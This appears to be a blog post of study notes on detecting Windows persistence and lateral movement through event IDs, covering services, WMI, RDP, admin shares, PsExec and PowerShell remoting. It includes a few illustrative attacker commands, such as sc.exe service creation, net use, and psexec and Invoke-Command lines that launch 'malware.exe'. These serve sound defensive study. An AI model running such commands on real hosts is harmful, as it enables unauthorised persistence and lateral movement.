Hunting cues: tasks created outside working hours; tasks executing from insecure paths (user profile/temp); LOTL binaries as the task action; scope compromised accounts via the creator field.

3. Windows Services

Created via GUI or sc.exe:

1
sc.exe create TestService binpath= c:\windows\temp\NewServ.exe start= auto

Event ID 4697 (Security log) and Event ID 7045 (System log) — both “A service was installed in the system”, same fields: Subject, Service Name, Service File Name, Service Type, Service Start Type, Service Account.

Start Type values

ValueMeaning
0Boot device (drivers)
1Started by I/O subsystem
2Auto-start — favored by attackers for persistence
3Manual start
4Disabled

Red flags: auto-start (2) service, executable name not a known Windows binary, running from System32 despite not being a built-in file.

4. WMI Event Subscription

Persistence via three components:

  1. Event filter — trigger condition (e.g., every 1 min)
  2. Event consumer — action to run (script or command)
  3. Binding — ties filter + consumer together

Malicious consumer types: CommandLineEventConsumer (executes commands), ActiveScriptEventConsumer (executes scripts).

Event ID 5861 (Microsoft-Windows-WMI-Activity/Operational) — records WMI event consumer creation; shows consumer name, bound filter name, consumer type, and command/script content.

Hunting cues: consumer type is one of the two malicious types; rare/unusual filter+consumer names; suspicious executed paths or LOTL usage.

Lateral Movement Techniques

General pattern: relevant events are recorded on both source and target machines; the target machine almost always has the richer evidence.

1. Remote Desktop (RDP)

  • Source machine: Event ID 4688 records mstsc.exe execution.
  • Target machine:
    • 4688 records rdpclip.exe / tstheme.exe.
    • 4624 (Logon Type 10) — successful RDP auth; ⚠️ the Workstation Name field here is the target machine’s own name, not the source — a common investigative trap.
    • 4778 — session reconnected (provides the real Client Name/Client Address = actual source machine).
    • 4779 — session disconnected.

Hunting cues: client-to-client RDP (most legitimate RDP is workstation→jump-server or admin-workstation→target); off-hours connections; unauthorized source machines.

2. Windows Admin Shares

Shares: C$ (C: drive), ADMIN$ (Windows folder), IPC$ (named pipes).

Mapped via the built-in NET tool, e.g. (Turla group):

1
net use L: \\<TargetIP>\$C <Password> /USER:<Domain>\<User>
  • Source machine: 4688 for net.exe/net1.exe — command line reveals target host/IP.
  • Target machine:
    • 4624 (Logon Type 3) — here the Workstation Name field is correct (unlike RDP).
    • Expect 4672 right after 4624 (admin shares require admin privileges).
    • 5140 — network share object accessed (which share, e.g. ADMIN$).
    • 5145 — same as 5140 plus the accessed filename.

Tool reference: ShareFinder — attacker share-enumeration utility; hunt via clustering of 5140/5145 across many internal targets from one source.

3. PsExec (Sysinternals)

Legit remote-execution tool, digitally signed by Microsoft, commonly abused because it isn’t flagged as malware and blends with admin activity.

1
psexec.exe \\hostB -accepteula -d -c C:\MalwareFolder\malware.exe

Mechanics: authenticate to Host B → copy Psexesvc.exe + payload to ADMIN$ → create + start a Windows service running psexesvc.exe → execute the payload.

  • Source machine: 4688 for psexec.exe (path, parent, command line).
  • Target machine:
    • 4624 (logon type 3, or 2 with explicit creds) to access ADMIN$.
    • 5140/5145 — accessed/mapped share + files.
    • 4697 / 7045 — new PSEXESVC service creation (Start Type 3 = manual/on-demand).
    • 4688 — PSEXESVC.exe execution, spawned by services.exe.
    • 4688 — payload process (e.g., python.exe) spawned from PSEXESVC.exe, tracked via PID correlation.

Baseline matters: PsExec use may be normal in admin-heavy environments — focus on non-admin/off-hours use and what PSEXESVC.exe actually spawns.

4. PowerShell Remoting

Uses WinRM (Windows Remote Management) over an encrypted channel.

1
2
Invoke-Command -ComputerName VICTIM -ScriptBlock {Start-Process c:\malwarefolder\malware.exe} -Credential $credentials
Enter-PSSession -ComputerName VICTIM -Credential $credentials
  • Source machine: 4688 (powershell.exe, command line, parent) → 4104 / 800 (executed script/command).
  • Target machine:
    • 4624 (logon type 3).
    • 4688 — wsmprovhost.exe (WinRM PS session host process) execution.
    • 4688 — commands/processes spawned from wsmprovhost.exe, e.g. a powershell.exe child with an encoded argument.
    • 4104 — decoded/logged full script content.
    • 800 — logged executed commands.

Part 2 Quick Review

Key facts

  • Default Windows log path: C:\Windows\System32\winevt\Logs.
  • Windows 10/11 default install: 300+ log files (336 cited in the book).
  • Logon events (4624 etc.) are recorded on the machine being logged into; login validation events are recorded by the authenticating system (DC for domain, local machine for local accounts).
  • RDP (4624, logon type 10) — Workstation Name field = target’s own name, not source. Use 4778/4779 for the real source.
  • Admin share access (4624, logon type 3) — Workstation Name field is accurate.
  • PowerShell 800/4103/4104 exist across two separate log files; 4104 = full script block content and auto-fires on suspicious blocks even when script block logging is nominally disabled.

Event ID master table

Event IDCategoryMeaning
4624LogonSuccessful logon
4625LogonFailed logon
4634 / 4647LogonLogoff
4672LogonSpecial privileges assigned (admin logon)
4740LogonAccount locked out
4767Account mgmtAccount unlocked
4720/4722/4723/4724/4725/4726/4738Account mgmtCreate/enable/pw-change/pw-reset/disable/delete/change
4727/4730Group mgmtGlobal group created/deleted
4728/4729Group mgmtMember added/removed — global group
4731/4734Group mgmtLocal group created/deleted
4732/4733Group mgmtMember added/removed — local group
4754/4758Group mgmtUniversal group created/deleted
4756/4757Group mgmtMember added/removed — universal group
4768KerberosTGT created
4769KerberosService ticket (TGS) granted
4771KerberosPre-auth failed
4776NTLMCredential validation (success/fail)
4688ProcessProcess created
4689ProcessProcess exited
4656/4658/4660/4663Object accessHandle requested/closed, object deleted, object accessed
4657RegistryRegistry value modified
4698Scheduled taskTask created
4697 (Security) / 7045 (System)ServiceService installed
5861WMIWMI event consumer created
5140Network shareShare object accessed
5145Network shareShared file accessed
4778RDPSession reconnected
4779RDPSession disconnected
800PowerShellCommand-line execution logged
4103PowerShellModule/cmdlet execution logged
4104PowerShellFull script block content logged

Persistence & lateral movement comparison

TechniqueKey event IDsLocation
Registry run key4656/4657/4658/4660/4663Local
Scheduled task4698Local
Service4697 / 7045Local
WMI subscription5861Local
RDP4688 (src), 4624 (T10)/4778/4779 (tgt)Source + Target
Admin shares4688 (src), 4624 (T3)/4672/5140/5145 (tgt)Source + Target
PsExec4688 (src), 4624/5140/5145/4697+7045/4688 (tgt)Source + Target
PowerShell remoting4688/4104/800 (src), 4624 (T3)/4688 (wsmprovhost)/4104/800 (tgt)Source + Target

Tools referenced

ToolPurpose
Event ViewerBuilt-in live log analysis
PsLogListCLI live log dump
Event Log ExplorerOffline EVT/EVTX GUI analysis
EvtxECmdCLI EVTX parsing/filtering (Eric Zimmerman)
HELK + KibanaSIEM lab (Mordor dataset ingestion)
Process HackerLive process/service/network inspection
ECHOTRAILProcess reputation/baseline lookup
LOLBAS projectLOTL binary catalog + ATT&CK mapping
ShareFinder(Attacker tool) share enumeration

Part 2 acronym list

AcronymMeaning
ADMIN$Windows administrative share (system root)
ATT&CKAdversarial Tactics, Techniques, and Common Knowledge (MITRE)
C&CCommand and Control
DCDomain Controller
DLLDynamic Link Library
EDREndpoint Detection and Response
EVT/EVTXWindows Event Log file formats
GUIGraphical User Interface
HELKThe Hunting ELK
HKCUHKEY_CURRENT_USER
HKLMHKEY_LOCAL_MACHINE
IPC$Inter-Process Communication share
LOTLLiving Off The Land
LOLBASLiving Off The Land Binaries and Scripts
PIDProcess ID
PSPowerShell
RDPRemote Desktop Protocol
SACLSystem Access Control List
SAMSecurity Account Manager
SIEMSecurity Information and Event Management
SMBServer Message Block
TGSTicket Granting Service
TGTTicket Granting Ticket
UACUser Account Control
WinRMWindows Remote Management
WMIWindows Management Instrumentation
WMICWMI Command-line

Screenshot-20260717-145735 Screenshot-20260717-145924 Screenshot-20260717-145940

Screenshot-20260717-151801 image

This post is licensed under CC BY 4.0 by the author.